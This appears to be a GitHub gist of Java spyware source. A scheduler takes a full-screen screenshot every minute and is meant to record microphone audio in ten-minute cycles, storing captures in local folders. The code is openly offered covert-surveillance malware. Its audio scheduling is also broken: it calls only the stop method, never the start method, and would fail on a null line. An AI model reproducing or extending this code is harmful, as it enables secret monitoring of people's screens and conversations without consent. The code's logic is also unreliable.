Skip to content

Instantly share code, notes, and snippets.

@rokon12
Created August 24, 2020 16:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rokon12/55ad854c02bfb8675dce7d39f214a23e to your computer and use it in GitHub Desktop.
Save rokon12/55ad854c02bfb8675dce7d39f214a23e to your computer and use it in GitHub Desktop.
package spy;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.sound.sampled.*;
import java.io.*;
public class AudioRecorder {
private static final Logger LOGGER = LoggerFactory.getLogger(AudioRecorder.class);
/**
* Audio file type
*/
private static final AudioFileFormat.Type FILE_TYPE = AudioFileFormat.Type.WAVE;
/**
* Data line to read audio
*/
private TargetDataLine line;
/**
* Root directory for saving audio files
*/
private final String UPLOAD_PATH = "src/main/captures/audio/";
/**
* Defines an audio format
*/
private AudioFormat getAudioFormat() {
float sampleRate = 16000;
int sampleSizeInBits = 8;
int channels = 2;
return new AudioFormat(sampleRate, sampleSizeInBits, channels,
true, true);
}
/**
* Captures the sound and record into a WAV file
*/
public void startRecording() {
try {
AudioFormat format = getAudioFormat();
DataLine.Info info = new DataLine.Info(TargetDataLine.class, format);
if (!AudioSystem.isLineSupported(info)) {
LOGGER.error("Line not supported, existing"); // use proper log message
System.exit(0);
}
saveRecording(format, info);
} catch (IOException | LineUnavailableException exception) {
LOGGER.error("Unable to record audio", exception);
}
}
/**
* Save audio into wav files
*
* @param format AudioFormat
* @param info DataLine Info
* @throws IOException I/O exception
* @throws LineUnavailableException line unavailable exception
*/
private void saveRecording(AudioFormat format, DataLine.Info info)
throws IOException, LineUnavailableException {
File wavFile = new File(UPLOAD_PATH + System.currentTimeMillis() + ".wav");
line = (TargetDataLine) AudioSystem.getLine(info);
AudioInputStream audioInputStream = new AudioInputStream(line);
line.open(format);
line.start();
AudioSystem.write(audioInputStream, FILE_TYPE, wavFile);
}
/**
* Closes the target data line to finish capturing and recording
*/
public void finish() {
line.stop();
line.close();
}
/**
* A thread will remain sleeping until sleepTime, then the thread will
* execute the method to finish recording
*
* @param sleepTime Duration of recording. After this time being
* recording will finish
*/
public void stopRecordingAudio(long sleepTime) {
try {
Thread.sleep(sleepTime);
} catch (InterruptedException ex) {
Thread.currentThread().interrupt();
throw new AssertionError(ex);
}
finish();
}
}
package spy;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;
import java.time.LocalDateTime;
import java.time.ZoneId;
import java.util.Calendar;
public class Screenshot {
private static final Logger LOGGER = LoggerFactory.getLogger(Screenshot.class);
/**
* Image upload directory
*/
private final static String IMAGE_UPLOAD_PATH = "src/main/captures/image/";
/**
* Image format
*/
private final static String IMAGE_FORMAT = "JPG";
/**
* Take screenshot and save into image directory
*/
public void captureScreen() {
try {
Robot robot = new Robot();
Dimension toolkit = Toolkit.getDefaultToolkit().getScreenSize();
Rectangle rectangle = new Rectangle(toolkit);
BufferedImage screenShot = robot.createScreenCapture(rectangle);
String path = IMAGE_UPLOAD_PATH + System.currentTimeMillis() + ".jpg";
ImageIO.write(screenShot, IMAGE_FORMAT, new File(path));
} catch (AWTException | IOException exception) {
LOGGER.error("Unable to capture image", exception);
}
}
}
package spy;
import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
public class SpyWare {
private static final long RECORD_TIME = 60000;
private static ScheduledThreadPoolExecutor pool;
public SpyWare() {
//initialize the pool
pool = new ScheduledThreadPoolExecutor(2);
}
public void scheduledSpyWork() {
startTakingSreenshot();
startRecordingAudio();
}
private void startTakingSreenshot() {
Screenshot screenshot = new Screenshot();
pool.scheduleWithFixedDelay(screenshot::captureScreen,
0, 1, TimeUnit.MINUTES);
}
private void startRecordingAudio() {
AudioRecorder audioRecorder = new AudioRecorder();
pool.scheduleWithFixedDelay(() -> audioRecorder.stopRecordingAudio(RECORD_TIME),
0, 10, TimeUnit.MINUTES);
}
}
package spy;
public class SpywareApp {
public static void main(String[] args) {
new SpyWare().scheduledSpyWork();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment